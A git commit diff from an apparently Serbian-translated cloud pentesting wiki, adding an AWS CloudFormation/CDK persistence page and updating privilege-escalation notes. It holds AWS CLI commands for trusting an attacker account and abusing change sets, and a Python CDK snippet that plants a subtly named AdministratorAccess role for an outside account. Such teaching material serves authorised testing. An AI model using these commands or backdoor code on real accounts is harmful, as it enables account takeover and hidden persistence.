Translated ['src/pentesting-cloud/aws-security/aws-persistence/aws-cloud

This commit is contained in:
Translator
2025-04-07 01:35:03 +00:00
parent 8d0ffe424e
commit 724f6f63d9
4 changed files with 83 additions and 8 deletions

View File

@@ -211,6 +211,7 @@
- [AWS - Permissions for a Pentest](pentesting-cloud/aws-security/aws-permissions-for-a-pentest.md)
- [AWS - Persistence](pentesting-cloud/aws-security/aws-persistence/README.md)
- [AWS - API Gateway Persistence](pentesting-cloud/aws-security/aws-persistence/aws-api-gateway-persistence.md)
- [AWS - Cloudformation Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cloudformation-persistence.md)
- [AWS - Cognito Persistence](pentesting-cloud/aws-security/aws-persistence/aws-cognito-persistence.md)
- [AWS - DynamoDB Persistence](pentesting-cloud/aws-security/aws-persistence/aws-dynamodb-persistence.md)
- [AWS - EC2 Persistence](pentesting-cloud/aws-security/aws-persistence/aws-ec2-persistence.md)

View File

@@ -0,0 +1,23 @@
# AWS - Cloudformation Persistence
{{#include ../../../banners/hacktricks-training.md}}
## CloudFormation
Za više informacija, pristupite:
{{#ref}}
../aws-services/aws-cloudformation-and-codestar-enum.md
{{#endref}}
### CDK Bootstrap Stack
AWS CDK implementira CFN stack pod nazivom `CDKToolkit`. Ovaj stack podržava parametar `TrustedAccounts` koji omogućava spoljnim nalozima da implementiraju CDK projekte u nalog žrtve. Napadač može da iskoristi ovo da sebi obezbedi neograničen pristup nalogu žrtve, bilo korišćenjem AWS cli za ponovnu implementaciju stack-a sa parametrima, ili AWS CDK cli.
```bash
# CDK
cdk bootstrap --trust 1234567890
# AWS CLI
aws cloudformation update-stack --use-previous-template --parameters ParameterKey=TrustedAccounts,ParameterValue=1234567890
```
{{#include ../../../banners/hacktricks-training.md}}

View File

@@ -53,7 +53,7 @@ Dozvola `cloudformation:SetStackPolicy` može se koristiti da **dajte sebi `Upda
Napadač sa dozvolama da **prođe ulogu i kreira & izvrši ChangeSet** može **kreirati/ažurirati novi cloudformation stog i zloupotrebiti cloudformation servisne uloge** baš kao sa CreateStack ili UpdateStack.
Sledeća eksploatacija je **varijacija**[ **CreateStack one**](./#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje stoga.
Sledeća eksploatacija je **varijacija**[ **CreateStack one**](#iam-passrole-cloudformation-createstack) koristeći **ChangeSet dozvole** za kreiranje stoga.
```bash
aws cloudformation create-change-set \
--stack-name privesc \
@@ -79,7 +79,7 @@ aws cloudformation describe-stacks \
--stack-name privesc \
--region eu-west-1
```
Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stakom i izvršavanje napada.
Dozvola `cloudformation:SetStackPolicy` može se koristiti za **dodeljivanje sebi `ChangeSet` dozvola** nad stekom i izvršavanje napada.
**Potencijalni uticaj:** Privesc na cloudformation servisne uloge.
@@ -89,22 +89,67 @@ Ovo je kao prethodna metoda bez prosleđivanja **IAM uloga**, tako da možete sa
```
--change-set-type UPDATE
```
**Potencijalni Uticaj:** Privesc na cloudformation servisnu ulogu koja je već povezana.
**Potential Impact:** Privesc na cloudformation servisnu ulogu koja je već povezana.
### `iam:PassRole`,(`cloudformation:CreateStackSet` | `cloudformation:UpdateStackSet`)
Napadač bi mogao da zloupotrebi ove dozvole da kreira/aktualizuje StackSets kako bi zloupotrebio proizvoljne cloudformation uloge.
Napadač bi mogao zloupotrebiti ove dozvole da kreira/aktualizuje StackSets kako bi zloupotrebio proizvoljne cloudformation uloge.
**Potencijalni Uticaj:** Privesc na cloudformation servisne uloge.
**Potential Impact:** Privesc na cloudformation servisne uloge.
### `cloudformation:UpdateStackSet`
Napadač bi mogao da zloupotrebi ovu dozvolu bez passRole dozvole da ažurira StackSets kako bi zloupotrebio povezane cloudformation uloge.
Napadač bi mogao zloupotrebiti ovu dozvolu bez passRole dozvole da ažurira StackSets kako bi zloupotrebio povezane cloudformation uloge.
**Potencijalni Uticaj:** Privesc na povezane cloudformation uloge.
**Potential Impact:** Privesc na povezane cloudformation uloge.
## AWS CDK
AWS cdk je alat za omogućavanje korisnicima da definišu svoju infrastrukturu kao kod u jezicima koje već poznaju, kao i lako ponovo koriste delove. CDK zatim konvertuje visoko-nivo kod (npr. python) u Cloudformation šablone (yaml ili json).
Da bi koristili CDK, administrativni korisnik prvo mora da bootstrapuje nalog, što kreira nekoliko IAM uloga, uključujući *exec role*, koja ima \*/\* dozvole. Ove uloge prate strukturu imenovanja `cdk-<qualifier>-<name>-<account-id>-<region>`. Bootstrapovanje mora biti urađeno jednom po regionu po nalogu.
Po defaultu, CDK korisnici nemaju pristup listi uloga potrebnih za korišćenje CDK, što znači da ćete ih morati odrediti ručno. Ako kompromitujete mašinu programera ili neki CI/CD čvor, ove uloge se mogu preuzeti da vam omoguće sposobnost da implementirate CFN šablone, koristeći `cfn-exec` ulogu da omogućite CFN da implementira bilo koje resurse, potpuno kompromitujući nalog.
### Određivanje imena uloga
Ako imate `cloudformation:DescribeStacks`, uloge su definisane u stack-u pod nazivom `CDKToolkit`, i možete izvući imena odatle.
Ako ste na mašini koja je korišćena za izgradnju i implementaciju CDK projekata, možete ih izvući iz `cdk.out/manafest.json` u korenskom direktorijumu projekata.
Takođe možete dobro pogoditi koja su. `qualifier` je string dodat uloge koji omogućava više instanci CDK bootstrap-a da budu implementirane odjednom, međutim, podrazumevana vrednost je hard-kodirana na `hnb659fds`.
```
# Defaults
cdk-hnb659fds-cfn-exec-role-<account-id>-<region>
cdk-hnb659fds-deploy-role-<account-id>-<region>
cdk-hnb659fds-file-publishing-role-<account-id>-<region>
cdk-hnb659fds-image-publishing-role-<account-id>-<region>
cdk-hnb659fds-lookup-role-<account-id>-<region>
```
### Dodavanje malicioznog koda u izvor projekta
Ako možete da pišete u izvor projekta, ali ne možete sami da ga implementirate (na primer, programer implementira kod putem CI/CD, a ne sa lokalne mašine), i dalje možete kompromitovati okruženje dodavanjem malicioznih resursa u stog. Sledeće dodaje IAM ulogu koja može biti preuzeta od strane naloga napadača u python CDK projektu.
```python
class CdkTestStack(Stack):
def __init__(self, scope: Construct, construct_id: str, **kwargs) -> None:
super().__init__(scope, construct_id, **kwargs)
# ----------
# Some existing code.....
# ----------
role = iam.Role(
self,
"cdk-backup-role", # Role name, make it something subtle
assumed_by=iam.AccountPrincipal("1234567890"), # Account to allow to assume the role
managed_policies=[
iam.ManagedPolicy.from_aws_managed_policy_name("AdministratorAccess") # Policies to attach, in this case AdministratorAccess
],
)
```
## Reference
- [https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/](https://rhinosecuritylabs.com/aws/aws-privilege-escalation-methods-mitigation/)
- [https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml](https://github.com/aws/aws-cdk-cli/blob/main/packages/aws-cdk/lib/api/bootstrap/bootstrap-template.yaml)
{{#include ../../../../banners/hacktricks-training.md}}

View File

@@ -37,9 +37,15 @@ Na sledećoj stranici možete proveriti kako da **zloupotrebite cloudformation d
../aws-privilege-escalation/aws-cloudformation-privesc/
{{#endref}}
### Persistence
{{#ref}}
../aws-persistence/aws-cloudformation-persistence.md
{{#endref}}
### Post-Exploitation
Proverite za **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svakog CloudFormation-a
Proverite **tajne** ili osetljive informacije u **šablonu, parametrima i izlazu** svakog CloudFormation-a
## Codestar